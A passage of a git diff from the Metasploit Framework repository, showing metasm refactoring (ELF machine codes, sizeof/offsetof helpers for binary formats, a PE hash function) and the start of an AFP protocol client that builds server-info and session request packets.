0x9026 => 'ALPHA' + 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', + 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', + 64 => 'PDP10', 65 => 'PDP11', 66 => 'FX66', 67 => 'ST9PLUS', + 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', + 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', + 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', + 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', + 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', + 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', + 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', 95 => 'VIDEOCORE', + 96 => 'TMM_GPP', 97 => 'NS32K', 98 => 'TPC', 99 => 'SNP1K', + 100 => 'ST200', 101 => 'IP2K', 102 => 'MAX', 103 => 'CR', + 104 => 'F2MC16', 105 => 'MSP430', 106 => 'BLACKFIN', 107 => 'SE_C33', + 108 => 'SEP', 109 => 'ARCA', 110 => 'UNICORE', 111 => 'EXCESS', + 112 => 'DXP', 113 => 'ALTERA_NIOS2', 114 => 'CRX', 115 => 'XGATE', + 116 => 'C166', 117 => 'M16C', 118 => 'DSPIC30F', 119 => 'CE', + 120 => 'M32C', + 131 => 'TSK3000', 132 => 'RS08', 133 => 'SHARC', + 134 => 'ECOG2', 135 => 'SCORE7', 136 => 'DSP24', 137 => 'VIDEOCORE3', + 138 => 'LATTICEMICO32', 139 => 'SE_C17', 140 => 'TI_C6000', 141 => 'TI_C2000', + 142 => 'TI_C5500', + 160 => 'MMDSP_PLUS', 161 => 'CYPRESS_M8C', 162 => 'R32C', 163 => 'TRIMEDIA', + 164 => 'QDSP6', 165 => '8051', 166 => 'STXP7X', 167 => 'NDS32', + 168 => 'ECOG1', 169 => 'MAXQ30', 170 => 'XIMO16', 171 => 'MANIK', + 172 => 'CRAYNV2', 173 => 'RX', 174 => 'METAG', 175 => 'MCST_ELBRUS', + 176 => 'ECOG16', 177 => 'CR16', 178 => 'ETPU', 179 => 'SLE9X', + 180 => 'L10M', 181 => 'K10M', 182 => 'INTEL_RESV', 183 => 'AARCH64', + 184 => 'ARM_RESV', 185 => 'AVR32', 186 => 'STM8', 187 => 'TILE64', + 188 => 'TILEPRO', 189 => 'MICROBLAZE', 190 => 'CUDA', 191 => 'TILEGX', + 192 => 'CLOUDSHIELD', 193 => 'COREA_1ST', 194 => 'COREA_2ND', 195 => 'ARC_COMPACT2', + 196 => 'OPEN8', 197 => 'RL78', 198 => 'VIDEOCORE5', 199 => '78KOR', + 200 => '56800EX', 201 => 'BA1', 202 => 'BA2', 203 => 'XCORE', + 204 => 'MCHP_PIC', 205 => 'INTEL205', 206 => 'INTEL206', 207 => 'INTEL207', + 208 => 'INTEL208', 209 => 'INTEL209', 210 => 'KM32', 211 => 'KMX32', + 212 => 'KMX16', 213 => 'KMX8', 214 => 'KVARC', 215 => 'CDP', + 216 => 'COGE', 217 => 'COOL', 218 => 'NORC', } FLAGS = { @@ -394,11 +417,6 @@ class ELF < ExeFormat word :flags fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} } halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx - - def self.size elf - x = elf.bitsize >> 3 - 40 + 3*x - end end class Segment < SerialStruct @@ -412,11 +430,6 @@ class ELF < ExeFormat else Segment64 end end - - def self.size elf - x = elf.bitsize >> 3 - 8 + 6*x - end end class Segment32 < Segment @@ -453,11 +466,6 @@ class ELF < ExeFormat xword :entsize attr_accessor :name, :encoded - - def self.size elf - x = elf.bitsize >> 3 - 16 + 6*x - end end class Symbol < SerialStruct @@ -471,11 +479,6 @@ class ELF < ExeFormat attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx attr_accessor :name, :thunk - - def self.size elf - x = elf.bitsize >> 3 - 8 + 2*x - end end class Symbol32 < Symbol @@ -510,12 +513,6 @@ class ELF < ExeFormat end def addend ; end - - def self.size elf - x = elf.bitsize >> 3 - 2*x - end - end class Relocation32 < Relocation addr :offset @@ -538,11 +535,6 @@ class ELF < ExeFormat else RelocationAddend64 end end - def self.size elf - x = elf.bitsize >> 3 - 3*x - end - end class RelocationAddend32 < RelocationAddend addr :offset @@ -669,6 +661,15 @@ class ELF < ExeFormat end def shortname; 'elf'; end + + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_sword ; 4 ; end + def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end + alias sizeof_sxword sizeof_xword + alias sizeof_addr sizeof_xword + alias sizeof_off sizeof_xword end class LoadedELF < ELF @@ -721,6 +722,9 @@ class FatELF < ExeFormat def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_word ; 2 ; end + def sizeof_qword ; 8 ; end attr_accessor :header, :list def initialize diff --git a/lib/metasm/metasm/exe_format/elf_decode.rb b/lib/metasm/metasm/exe_format/elf_decode.rb index da68008996..8f81c90f9e 100644 --- a/lib/metasm/metasm/exe_format/elf_decode.rb +++ b/lib/metasm/metasm/exe_format/elf_decode.rb @@ -106,7 +106,7 @@ class ELF def decode_header(off = 0, decode_phdr=true, decode_shdr=true) @encoded.ptr = off @header.decode self - raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize + raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.sizeof(self) != @header.ehsize if decode_phdr and @header.phoff != 0 decode_program_header(@header.phoff+off) end @@ -118,7 +118,7 @@ class ELF # decodes the section header # section names are read from shstrndx if possible def decode_section_header(off = @header.shoff) - raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize + raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.sizeof(self) != @header.shentsize @encoded.add_export new_label('section_header'), off @encoded.ptr = off @sections = [] @@ -137,7 +137,7 @@ class ELF # decodes the program header table # marks the elf entrypoint as an export of +self.encoded+ def decode_program_header(off = @header.phoff) - raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize + raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.sizeof(self) != @header.phentsize @encoded.add_export new_label('program_header'), off @encoded.ptr = off @segments = [] @@ -232,13 +232,13 @@ class ELF # no way to get the number of non-exported symbols from what we have here # so we'll decode all relocs and use the largest index we see.. rels = [] - if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.size(self) + if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.sizeof(self) p_end = @encoded.ptr + @tag['RELSZ'] while @encoded.ptr < p_end rels << Relocation.decode(self) end end - if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.size(self) + if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.sizeof(self) p_end = @encoded.ptr + @tag['RELASZ'] while @encoded.ptr < p_end rels << RelocationAddend.decode(self) @@ -392,7 +392,7 @@ class ELF def decode_segments_symbols return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH']) - raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self) + raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.sizeof(self) # find number of symbols if @tag['HASH'] @@ -427,7 +427,7 @@ class ELF @encoded.ptr = sec.offset syms = [] raise 'Invalid symbol table' if sec.size > @encoded.length - (sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) } + (sec.size / Symbol.sizeof(self)).times { syms << Symbol.decode(self, strtab) } alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC' alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs syms.each { |s| @@ -480,7 +480,7 @@ class ELF def decode_segments_relocs @relocations.clear if @encoded.ptr = @tag['REL'] - raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self) + raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.sizeof(self) p_end = @encoded.ptr + @tag['RELSZ'] while @encoded.ptr < p_end @relocations << Relocation.decode(self) @@ -488,7 +488,7 @@ class ELF end if @encoded.ptr = @tag['RELA'] - raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self) + raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.sizeof(self) p_end = @encoded.ptr + @tag['RELASZ'] while @encoded.ptr < p_end @relocations << RelocationAddend.decode(self) @@ -935,6 +935,8 @@ class ELF when 'PPC'; PPC.new when 'ARM'; ARM.new when 'SH'; Sh4.new + when 'ARC_COMPACT'; ARC.new + when 'MSP430'; MSP430.new else raise "unsupported cpu #{@header.machine}" end end diff --git a/lib/metasm/metasm/exe_format/elf_encode.rb b/lib/metasm/metasm/exe_format/elf_encode.rb index cf4e040e40..ae847983df 100644 --- a/lib/metasm/metasm/exe_format/elf_encode.rb +++ b/lib/metasm/metasm/exe_format/elf_encode.rb @@ -20,10 +20,10 @@ class ELF @phoff ||= elf.segments.empty? ? 0 : elf.new_label('phdr') @shoff ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr') @flags ||= [] - @ehsize ||= Header.size(elf) - @phentsize ||= Segment.size(elf) + @ehsize ||= Header.sizeof(elf) + @phentsize ||= Segment.sizeof(elf) @phnum ||= elf.segments.length - @shentsize ||= Section.size(elf) + @shentsize ||= Section.sizeof(elf) @shnum ||= elf.sections.length super(elf) @@ -247,7 +247,7 @@ class ELF dynsym = Section.new dynsym.name = '.dynsym' dynsym.type = 'DYNSYM' - dynsym.entsize = Symbol.size(self) + dynsym.entsize = Symbol.sizeof(self) dynsym.addralign = 4 dynsym.flags = ['ALLOC'] dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1 @@ -258,7 +258,7 @@ class ELF @symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header @tag['SYMTAB'] = label_at(dynsym.encoded, 0) - @tag['SYMENT'] = Symbol.size(self) + @tag['SYMENT'] = Symbol.sizeof(self) encode_check_section_size dynsym @@ -294,7 +294,7 @@ class ELF @tag['JMPREL'] = label_at(relplt.encoded, 0) @tag['PLTRELSZ'] = relplt.encoded.virtsize @tag['PLTREL'] = relplt.type = stype - @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self)) + @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.sizeof(self) : RelocationAddend.sizeof(self)) encode_check_section_size relplt end @@ -312,13 +312,13 @@ class ELF rel.name = '.rel.dyn' rel.type = 'REL' rel.flags = ['ALLOC'] - rel.entsize = rel.addralign = Relocation.size(self) + rel.entsize = rel.addralign = Relocation.sizeof(self) encode_add_section rel end rel.encoded = EncodedData.new list.each { |r| rel.encoded << r.encode(self) } @tag['REL'] = label_at(rel.encoded, 0) - @tag['RELENT'] = Relocation.size(self) + @tag['RELENT'] = Relocation.sizeof(self) @tag['RELSZ'] = rel.encoded.virtsize encode_check_section_size rel end @@ -330,13 +330,13 @@ class ELF rela.name = '.rela.dyn' rela.type = 'RELA' rela.flags = ['ALLOC'] - rela.entsize = rela.addralign = RelocationAddend.size(self) + rela.entsize = rela.addralign = RelocationAddend.sizeof(self) encode_add_section rela end rela.encoded = EncodedData.new list.each { |r| rela.encoded << r.encode(self) } @tag['RELA'] = label_at(rela.encoded, 0) - @tag['RELAENT'] = RelocationAddend.size(self) + @tag['RELAENT'] = RelocationAddend.sizeof(self) @tag['RELASZ'] = rela.encoded.virtsize encode_check_section_size rela end @@ -457,7 +457,7 @@ class ELF plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"] plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length - reloffset *= Relocation.size(self) if @bitsize == 32 + reloffset *= Relocation.sizeof(self) if @bitsize == 32 plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"] # transform the reloc PC32 => JMP_SLOT diff --git a/lib/metasm/metasm/exe_format/gb.rb b/lib/metasm/metasm/exe_format/gb.rb index eef20c4eb1..c6b39d182e 100644 --- a/lib/metasm/metasm/exe_format/gb.rb +++ b/lib/metasm/metasm/exe_format/gb.rb @@ -30,6 +30,7 @@ class GameBoyRom < ExeFormat def encode_byte(val) Expression[val].encode(:u8, @endianness) end def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end + def sizeof_byte ; 1 ; end attr_accessor :header diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb index e5330057d0..f709b7ddac 100644 --- a/lib/metasm/metasm/exe_format/javaclass.rb +++ b/lib/metasm/metasm/exe_format/javaclass.rb @@ -292,6 +292,9 @@ class JavaClass < ExeFormat def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_u1 ; 1 ; end + def sizeof_u2 ; 2 ; end + def sizeof_u4 ; 4 ; end attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes diff --git a/lib/metasm/metasm/exe_format/macho.rb b/lib/metasm/metasm/exe_format/macho.rb index da4926c60d..21c21b37d9 100644 --- a/lib/metasm/metasm/exe_format/macho.rb +++ b/lib/metasm/metasm/exe_format/macho.rb @@ -511,6 +511,10 @@ class MachO < ExeFormat def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xword ; @size == 32 ? 4 : 8 ; end attr_accessor :endianness, :size @@ -978,6 +982,7 @@ class UniversalBinary < ExeFormat def encode_word(val) Expression[val].encode(:u32, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_word ; 4 ; end attr_accessor :endianness, :encoded, :header, :archive def initialize diff --git a/lib/metasm/metasm/exe_format/mz.rb b/lib/metasm/metasm/exe_format/mz.rb index e640509d0d..5097be9123 100644 --- a/lib/metasm/metasm/exe_format/mz.rb +++ b/lib/metasm/metasm/exe_format/mz.rb @@ -51,6 +51,7 @@ class MZ < ExeFormat def encode_word(val) Expression[val].encode(:u16, @endianness) end # decodes a 16bits word from self.encoded def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def sizeof_word ; 2 ; end attr_accessor :endianness, :header, :source diff --git a/lib/metasm/metasm/exe_format/nds.rb b/lib/metasm/metasm/exe_format/nds.rb index 14f9b2bf60..c0519287fa 100644 --- a/lib/metasm/metasm/exe_format/nds.rb +++ b/lib/metasm/metasm/exe_format/nds.rb @@ -70,6 +70,9 @@ class NDS < ExeFormat def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end attr_accessor :header, :icon, :arm9, :arm7 diff --git a/lib/metasm/metasm/exe_format/pe.rb b/lib/metasm/metasm/exe_format/pe.rb index 3b8a2e893e..9f8e7d6181 100644 --- a/lib/metasm/metasm/exe_format/pe.rb +++ b/lib/metasm/metasm/exe_format/pe.rb @@ -297,6 +297,35 @@ EOS } if export syms end + + # compute the pe-sha1 or pe-sha256 of the binary + # argument should be a Digest::SHA1 (from digest/sha1) or a Digest::SHA256 (from digest/sha2) + # returns the hex checksum + def pehash(digest) + off0 = 0 + off1 = @coff_offset + @header.sizeof(self) + @optheader.offsetof(self, :checksum) + + dir_ct_idx = DIRECTORIES.index('certificate_table') + if @optheader.numrva > dir_ct_idx + off2 = @coff_offset + @header.sizeof(self) + @optheader.sizeof(self) + 8*dir_ct_idx + ct_size = @encoded.data[off2, 8].unpack('V*')[1] + off3 = @encoded.length - ct_size + else + off4 = @encoded.length + end + + digest << @encoded.data[off0 ... off1].to_str + digest << @encoded.data[off1+4 ... off2].to_str if off2 + digest << @encoded.data[off2+8 ... off3].to_str if off2 and off3 > off2+8 + digest << @encoded.data[off1+4 ... off4].to_str if off4 + digest << ("\0" * (8 - (@encoded.length & 7))) if @encoded.length & 7 != 0 + + digest.hexdigest + end + + def self.pehash(path, digest) + decode_file_header(path).pehash(digest) + end end # an instance of a PE file, loaded in memory @@ -436,5 +465,9 @@ class LoadedPE < PE dump.imports.last.imports << i end end + + def pehash(digest) + raise "cannot compute a PEhash from memory image" + end end end diff --git a/lib/metasm/metasm/exe_format/pyc.rb b/lib/metasm/metasm/exe_format/pyc.rb index 9e1c88484b..cad1da61bf 100644 --- a/lib/metasm/metasm/exe_format/pyc.rb +++ b/lib/metasm/metasm/exe_format/pyc.rb @@ -27,6 +27,9 @@ class PYC < ExeFormat def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_long ; 4 ; end # file header attr_accessor :header diff --git a/lib/metasm/metasm/exe_format/serialstruct.rb b/lib/metasm/metasm/exe_format/serialstruct.rb index 0fb33a2505..5154dc01e8 100644 --- a/lib/metasm/metasm/exe_format/serialstruct.rb +++ b/lib/metasm/metasm/exe_format/serialstruct.rb @@ -13,19 +13,20 @@ class SerialStruct NAME=0 DECODE=1 ENCODE=2 - DEFVAL=3 - ENUM=4 - BITS=5 + SIZEOF=3 + DEFVAL=4 + ENUM=5 + BITS=6 class << self # defines a new field # adds an accessor - def new_field(name, decode, encode, defval, enum=nil, bits=nil) + def new_field(name, decode, encode, sizeof, defval, enum=nil, bits=nil) if name attr_accessor name name = "@#{name}".to_sym end - (@@fields[self] ||= []) << [name, decode, encode, defval, enum, bits] + (@@fields[self] ||= []) << [name, decode, encode, sizeof, defval, enum, bits] end # creates a field constructor for a simple integer @@ -34,7 +35,7 @@ class << self recv = class << self ; self ; end types.each { |type| recv.send(:define_method, type) { |name, *args| - new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, args[0] || 0, args[1]) + new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, "sizeof_#{type}".to_sym, args[0] || 0, args[1]) } # shortcut to define multiple fields of this type with default values @@ -49,19 +50,20 @@ class << self # virtual field, handled explicitly in a custom encode/decode def virtual(*a) a.each { |f| - new_field(f, nil, nil, nil) + new_field(f, nil, nil, nil, nil) } end # a fixed-size memory chunk def mem(name, len, defval='') - new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, defval) + new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, lambda { |exe, me| len }, defval) end # a fixed-size string, 0-padded def str(name, len, defval='') - e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) } d = lambda { |exe, me| v = exe.curencoded.read(len) ; v = v[0, v.index(?\0)] if v.index(?\0) ; v } - new_field(name, d, e, defval) + e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) } + s = lambda { |exe, me| len } + new_field(name, d, e, s, defval) end # 0-terminated string def strz(name, defval='') @@ -70,7 +72,8 @@ class << self ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop } e = lambda { |exe, me, val| val + 0.chr } - new_field(name, d, e, defval) + s = lambda { |exe, val| val.length + 1 } + new_field(name, d, e, s, defval) end # field access @@ -100,7 +103,7 @@ class << self d = lambda { |exe, me| @bitfield_val = exe.send("decode_#{inttype}") } # reset a temp var e = lambda { |exe, me, val| @bitfield_val = 0 ; nil } - new_field(nil, d, e, nil) + new_field(nil, d, e, 0, nil) h = h.sort h.length.times { |i| @@ -114,7 +117,7 @@ class << self d = lambda { |exe, me| (@bitfield_val >> off) & mask } # update the temp var with the field value, return nil e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil } - new_field(name, d, e, 0) + new_field(name, d, e, 0, 0) } # free the temp var @@ -125,7 +128,8 @@ class << self @bitfield_val = nil exe.send("encode_#{inttype}", val) } - new_field(nil, d, e, nil) + s = lambda { |exe, me| exe.send("sizeof_#{inttype}") } + new_field(nil, d, e, s, nil) end # inject a hook to be run during the decoding process @@ -217,6 +221,39 @@ end # class methods ed end + # size of the structure = fields.sum { size of field } + def sizeof(exe) + struct_fields(exe).inject(0) { |off, f| + case sz = f[SIZEOF] + when Proc; sz = sz[exe, self] + when Symbol; sz = exe.send(sz) + when Array; sz = exe.send(*sz) + when nil; sz = 0 + end + off + sz + } + end + + # offset (in bytes) of the structure member + # for bitfields, return the byte offset of the whole bitfield + def offsetof(exe, fld) + fld2 = fld + fld2 = "@#{fld}".to_sym if fld.to_s[0] != ?@ + off = 0 + struct_fields(exe).each { |f| + return off if f[NAME] == fld or f[NAME] == fld2 + + case sz = f[SIZEOF] + when Proc; sz = sz[exe, self] + when Symbol; sz = exe.send(sz) + when Array; sz = exe.send(*sz) + when nil; sz = 0 + end + off += sz + } + raise 'unknown field' + end + # shortcut to create a new instance and decode it def self.decode(*a) s = new @@ -224,6 +261,14 @@ end # class methods s end + def self.sizeof(exe) + new.sizeof(exe) + end + + def self.offsetof(exe, fld) + new.offsetof(exe, fld) + end + def dump(e, a) case e when Integer; e >= 0x100 ? '0x%X'%e : e diff --git a/lib/metasm/metasm/exe_format/swf.rb b/lib/metasm/metasm/exe_format/swf.rb index 10ac24d02e..3d7254d6bd 100644 --- a/lib/metasm/metasm/exe_format/swf.rb +++ b/lib/metasm/metasm/exe_format/swf.rb @@ -164,6 +164,11 @@ class SWF < ExeFormat def encode_u32(w) Expression[w].encode(:u32, @endianness) end def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end + def sizeof_u8 ; 1 ; end + def sizeof_u16 ; 2 ; end + def sizeof_u32 ; 4 ; end + def sizeof_f16 ; 2 ; end + def sizeof_f32 ; 4 ; end attr_accessor :endianness def initialize(cpu = nil) diff --git a/lib/metasm/metasm/exe_format/xcoff.rb b/lib/metasm/metasm/exe_format/xcoff.rb index 1836d34f2d..2e3a21e7da 100644 --- a/lib/metasm/metasm/exe_format/xcoff.rb +++ b/lib/metasm/metasm/exe_format/xcoff.rb @@ -51,7 +51,7 @@ class XCoff < ExeFormat @nsec ||= xcoff.sections.size @symptr ||= xcoff.symbols ? xcoff.new_label('symptr') : 0 @nsym ||= xcoff.symbols ? xcoff.symbols.length : 0 - @opthdr ||= xcoff.optheader ? OptHeader.size(xcoff) : 0 + @opthdr ||= xcoff.optheader ? xcoff.optheader.sizeof(xcoff) : 0 super(xcoff) end end @@ -61,13 +61,9 @@ class XCoff < ExeFormat xwords :tsize, :dsize, :bsize, :entry, :text_start, :data_start, :toc halfs :snentry, :sntext, :sndata, :sntoc, :snloader, :snbss, :aligntext, :aligndata, :modtype, :cpu xwords :maxstack, :maxdata - new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, '') + new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, lambda { |exe, me| exe.intsize == 32 ? 8 : 120 }, '') - def self.size(xcoff) - xcoff.intsize == 32 ? 2*2+7*4+10*2+2*4+2+8 : 2*2+7*8+10*2+2*8+2+120 - end - def set_default_values(xcoff) @vstamp ||= 1 @snentry ||= 1 @@ -99,12 +95,16 @@ class XCoff < ExeFormat # basic immediates decoding functions def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_xhalf(edata = @encoded) edata.edoced_imm((@intsize == 32 ? :u16 : :u32), @endianness) end + def decode_xhalf(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u16 : :u32), @endianness) end def decode_xword(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u32 : :u64), @endianness) end def encode_half(w) Expression[w].encode(:u16, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end def encode_xhalf(w) Expression[w].encode((@intsize == 32 ? :u16 : :u32), @endianness) end def encode_xword(w) Expression[w].encode((@intsize == 32 ? :u32 : :u64), @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xhalf ; @intsize == 32 ? 2 : 4 ; end + def sizeof_xword ; @intsize == 32 ? 4 : 8 ; end attr_accessor :header, :segments, :relocs, :intsize, :endianness diff --git a/lib/metasm/metasm/exe_format/zip.rb b/lib/metasm/metasm/exe_format/zip.rb index 8879e33d77..e5ba04b4d4 100644 --- a/lib/metasm/metasm/exe_format/zip.rb +++ b/lib/metasm/metasm/exe_format/zip.rb @@ -211,6 +211,8 @@ class ZIP < ExeFormat def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end def encode_half(w) Expression[w].encode(:u16, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end attr_accessor :files, :header diff --git a/lib/metasm/metasm/os/windows.rb b/lib/metasm/metasm/os/windows.rb index 4f63c8a1af..f8322f85ed 100644 --- a/lib/metasm/metasm/os/windows.rb +++ b/lib/metasm/metasm/os/windows.rb @@ -1423,6 +1423,11 @@ class WinOS < OS end end + # retrieve the actual context structure (so we can pass to API's like StackWalk64) + def c_struct + @context + end + # update the context to reflect the current thread reg values # call only when the thread is suspended def update diff --git a/lib/metasm/tests/x86_64.rb b/lib/metasm/tests/x86_64.rb index d82b7fe7ae..f29ae70fc8 100644 --- a/lib/metasm/tests/x86_64.rb +++ b/lib/metasm/tests/x86_64.rb @@ -92,4 +92,11 @@ class TestX86_64 < Test::Unit::TestCase assert_equal("\x87\xc0", assemble('xchg eax, eax')) assert_equal('xchg r8, rax', disassemble("\x49\x90").decoded[0].instruction.to_s) end + + def test_C_size + assert_nothing_raised { + Metasm::Shellcode.compile_c(@@cpu, "void main(void) { int i=5670, j=8907 ; i = i*j; }").encode_string + } + end + end diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index f30e4d4399..7c2c669797 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -1,3 +1,30 @@ +# +# Gems +# +# gems must load explicitly any gem declared in gemspec +# @see https://github.com/bundler/bundler/issues/2018#issuecomment-6819359 +# + +require 'active_support' +require 'bcrypt' +require 'json' +require 'msgpack' +require 'metasploit/concern' +require 'metasploit/model' +require 'nokogiri' +require 'packetfu' +# railties has not autorequire defined +# rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix' +require 'rkelly' +require 'robots' +require 'zip' + +# +# Project +# + +require 'msf/core' + # Top-level namespace that is shared between {Metasploit::Framework # metasploit-framework} and pro, which uses Metasploit::Pro. module Metasploit @@ -5,29 +32,10 @@ module Metasploit # works in compatible manner with activerecord's rake tasks and other # railties. module Framework - # Returns the environment for {Metasploit::Framework}. Checks - # `METASPLOIT_FRAMEWORK_ENV` environment variable for value. Defaults to - # `'development'` if `METASPLOIT_FRAMEWORK_ENV` is not set in the - # environment variables. - # - # {env} is a ActiveSupport::StringInquirer like `Rails.env` so it can be - # queried for its value. - # - # @example check if environment is development - # if Metasploit::Framework.env.development? - # # runs only when in development - # end - # - # @return [ActiveSupport::StringInquirer] the environment name - def self.env - unless instance_variable_defined? :@env - name = ENV['METASPLOIT_FRAMEWORK_ENV'] - name ||= 'development' - @env = ActiveSupport::StringInquirer.new(name) - end + extend ActiveSupport::Autoload - @env - end + autoload :Spec + autoload :ThreadFactoryProvider # Returns the root of the metasploit-framework project. Use in place of # `Rails.root`. @@ -42,4 +50,4 @@ module Metasploit @root end end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/afp/client.rb b/lib/metasploit/framework/afp/client.rb new file mode 100644 index 0000000000..2bc578d7a7 --- /dev/null +++ b/lib/metasploit/framework/afp/client.rb @@ -0,0 +1,323 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'msf/core/exploit/tcp' + +module Metasploit + module Framework + module AFP + module Client + + def next_id + @request_id ||= -1 + @request_id += 1 + + @request_id + end + + def get_info + packet = "\00" # Flag: Request + packet << "\x03" # Command: FPGetSrvrInfo + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x00" # Length + packet << "\x00\x00\x00\x00" # Reserved + + sock.put(packet) + + response = sock.timed_read(1024) + return parse_info_response(response) + end + + def open_session + packet = "\00" # Flag: Request + packet << "\x04" # Command: DSIOpenSession + packet << 